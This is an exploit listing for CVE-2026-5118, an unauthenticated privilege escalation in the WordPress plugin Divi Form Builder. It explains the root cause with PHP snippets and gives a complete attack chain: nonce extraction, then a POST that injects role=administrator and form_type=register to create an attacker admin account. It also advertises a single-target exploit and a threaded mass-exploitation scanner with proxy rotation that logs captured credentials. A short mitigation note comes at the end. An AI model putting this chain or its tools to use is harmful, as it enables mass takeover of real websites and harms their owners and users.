Share
## https://sploitus.com/exploit?id=5FBB679D-E2F2-5271-A7F0-8499C1EF09E2
CVE-2026-5118 โ€” Divi Form Builder โ‰ค 5.1.2


  Unauthenticated Privilege Escalation via Role Injection
  === Beelze ( zeroday 1diot9 ) ===



  
  
  
  
  




---

## ๐Ÿ“‹ Vulnerability Info



| Field | Details |
|-------|---------|
| **CVE ID** | CVE-2026-5118 |
| **CVSS Score** | 9.8 (Critical) |
| **CVSS Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` |
| **CWE** | CWE-269 โ€” Improper Privilege Management |
| **Plugin** | Divi Form Builder (by Divi Engine) |
| **Affected** | All versions โ‰ค 5.1.2 |
| **Patched** | 5.1.3 (April 13, 2026) |
| **Published** | May 20, 2026 |
| **Researcher** | 0xd4rk5id3 โ€” EnvoraSec |
| **PoC** | Beelze ( zeroday 1diot9 ) |



---

## ๐Ÿ” Description

The **Divi Form Builder** plugin for WordPress is vulnerable to **Unauthenticated Privilege Escalation** in all versions up to and including **5.1.2**.

The `create_user()` function inside `FormSubmissionHandler.php` accepts a user-controlled `role` parameter from POST data during user registration **without validating it against the form's configured `default_user_role` setting**. The only "protection" is `sanitize_text_field()` โ€” which strips HTML tags and encoding, but does **nothing** to restrict the value to safe roles โ€” followed by an existence check that merely verifies the role exists in WordPress (and `administrator` always does).

This triple failure allows unauthenticated attackers to:

1. Find **any** page with a Divi Form Builder form (contact, quote, newsletter โ€” doesn't matter)
2. Extract the **global shared nonce** (`fb_nonce`) from the `de_fb_obj` JavaScript object
3. Override `form_type` to `register` via POST โ€” turning any form into a registration endpoint
4. Inject `role=administrator` into the AJAX submission
5. Create a **full administrator account** with attacker-controlled credentials

> **Result:** Complete site takeover โ€” zero authentication, zero user interaction, one POST request.

---

## ๐Ÿงฌ Root Cause Analysis

### 1. Unsanitized Role Intake from POST Data

```php
// includes/shared/handlers/FormSubmissionHandler.php โ€” create_user() ~line 2250
$role = isset($form_data['role'])
    ? sanitize_text_field($form_data['role'])   // โ† ONLY strips tags/encoding!
    : 'subscriber';                              // โ† 'administrator' passes CLEAN
```

`sanitize_text_field()` is designed for free-text sanitization (XSS prevention). It does **NOT** validate against an allowlist of safe roles. The string `"administrator"` contains no HTML tags, no special encoding โ€” it passes through completely untouched.

### 2. Existence-Only Validation โ€” Not a Security Check

```php
// ~line 2278
$roles_obj = wp_roles();
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) &&
    !isset($roles_obj->roles[$role])) {
    $role = 'subscriber';   // โ† fallback ONLY if role doesn't exist
}
```

This check asks: _"Does this role exist in WordPress?"_ โ€” and `administrator` **always exists**. It never asks the right question: _"Is this role safe for public self-registration?"_ A proper check would validate against an allowlist like `['subscriber', 'contributor']` or enforce the form's `default_user_role` setting.

### 3. Direct Role Assignment Without Capability Gate

```php
// ~line 2301
$user = new WP_User($user_id);
$user->set_role($role);   // โ† attacker-controlled role applied directly!
```

No `current_user_can('create_users')` check. No `current_user_can('promote_users')` check. No capability verification of any kind. The attacker-supplied role is passed straight to `set_role()`.

### 4. Global Shared Nonce โ€” Exposed on Every Page with a Form

```php
// Frontend JS localization
wp_localize_script('de-fb-scripts', 'de_fb_obj', [
    'ajax_url' => admin_url('admin-ajax.php'),
    'nonce'    => wp_create_nonce('security'),   // โ† SAME nonce on ALL forms, ALL pages
    // ...
]);
```

The `fb_nonce` is created via `wp_create_nonce('security')` โ€” a generic action string shared across every single DFB form on the site. Any visitor can extract it from the page source by reading the `de_fb_obj` JavaScript object.

### 5. Form Type Override โ€” Any Form Becomes a Registration Endpoint

```php
// AJAX handler
$form_type = isset($_POST['form_type']) ? $_POST['form_type'] : '';

if ($form_type === 'register') {
    $this->create_user($form_data);   // โ† triggered by POST override!
}
```

The `form_type` is read from POST data, not from the server-side form configuration. An attacker can send `form_type=register` to **any** DFB AJAX submission โ€” a contact form, a quote request, a newsletter signup โ€” and the server will execute the registration code path. The form's original purpose is irrelevant.

---

## โš”๏ธ Attack Chain

```
[Unauthenticated Attacker]
         โ”‚
         โ–ผ
   GET /any-page-with-dfb-form/
   โ† HTML source: de_fb_obj = {"nonce":"abc123def0", ...}
         โ”‚
         โ–ผ
   Extract fb_nonce from de_fb_obj JavaScript object
         โ”‚
         โ–ผ
   POST /wp-admin/admin-ajax.php
   โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
   โ”‚  action    = de_fb_ajax_submit_ajax_handler  โ”‚
   โ”‚  fb_nonce  = abc123def0                      โ”‚
   โ”‚  role      = administrator        โ† INJECTED โ”‚
   โ”‚  form_type = register          โ† OVERRIDDEN  โ”‚
   โ”‚  user_login = attacker_admin                 โ”‚
   โ”‚  user_pass  = AttackerPass123!               โ”‚
   โ”‚  user_email = attacker@evil.com              โ”‚
   โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
         โ”‚
         โ–ผ
   sanitize_text_field('administrator') โ†’ 'administrator'    โœ“ passes
   wp_roles()->roles['administrator'] exists? โ†’ YES          โœ“ passes
   $user->set_role('administrator')                          โœ“ no capability check
         โ”‚
         โ–ผ
   โ† {"success": true, "data": {"message": "User created"}}
         โ”‚
         โ–ผ
   POST /wp-login.php
   log=attacker_admin & pwd=AttackerPass123!
   โ† 302 โ†’ /wp-admin/
         โ”‚
         โ–ผ
   [Full Administrator Access] ๐Ÿ”ฅ
```

---

## ๐Ÿ› ๏ธ Tools

### `CVE-2026-5118.py` โ€” Single Target Exploit

Full 5-phase exploit chain with automatic form discovery and nonce extraction.

```bash
python3 CVE-2026-5118.py
```

```
  Target URL: https://target.com
  Username [beelze_admin]:
  Password [Beelze123!!@#!]:
  Email [beelze@exploit.lab]:
  Timeout (seconds) [15]:
  SOCKS5 proxy (blank = none):
```

**Exploit Phases:**
```
Phase 1  โ–ถ  Reachability (HTTPS + HTTP fallback)
Phase 2  โ–ถ  Plugin Detection (readme.txt version check)
Phase 3  โ–ถ  Form Discovery & Nonce Extraction
             โ”œโ”€โ”€ REST API page scan
             โ”œโ”€โ”€ Common path probing
             โ”œโ”€โ”€ Sitemap crawl
             โ””โ”€โ”€ Homepage link crawl
Phase 4  โ–ถ  Role Injection (Privilege Escalation)
Phase 5  โ–ถ  Admin Login Verification
```

**Output (`scan_results/CVE-2026-5118_success.txt`):**
```
https://target.com | beelze_admin:Beelze123!!@#!
```

---

### `CVE-2026-5118-mass.py` โ€” Mass Scanner

Threaded mass exploitation with JSONL logging and resume support.

```bash
python3 CVE-2026-5118-mass.py
```

```
  Target file (one URL per line): targets.txt
  Username [beelze_admin]:
  Password [Beelze123!!@#!]:
  Email [beelze@exploit.lab]:
  Threads [10]:
  Timeout (seconds) [10]:
  Proxy file (SOCKS5, one per line, blank = none):
  Resume previous scan? (y/n) [n]:
```

**Features:**
- Multi-threaded scanning with configurable thread count
- SOCKS5 proxy rotation
- JSONL output for programmatic processing
- Resume support โ€” skips already-scanned targets
- Rich progress bar with real-time stats
- Automatic HTTP fallback when HTTPS fails

**Output (`scan_results/CVE-2026-5118_success.txt`):**
```
https://target1.com | beelze_admin:Beelze123!!@#!
https://target2.com | beelze_admin:Beelze123!!@#!
```

---

## ๐Ÿ”’ Mitigation

- Update Divi Form Builder to version **5.1.3** or later
- The patch enforces that the role assigned is always the one configured server-side in the form's `default_user_role` setting, ignoring any user-supplied `role` parameter from POST data

---



**Beelze ( zeroday 1diot9 )** โ€” for educational and authorized security research only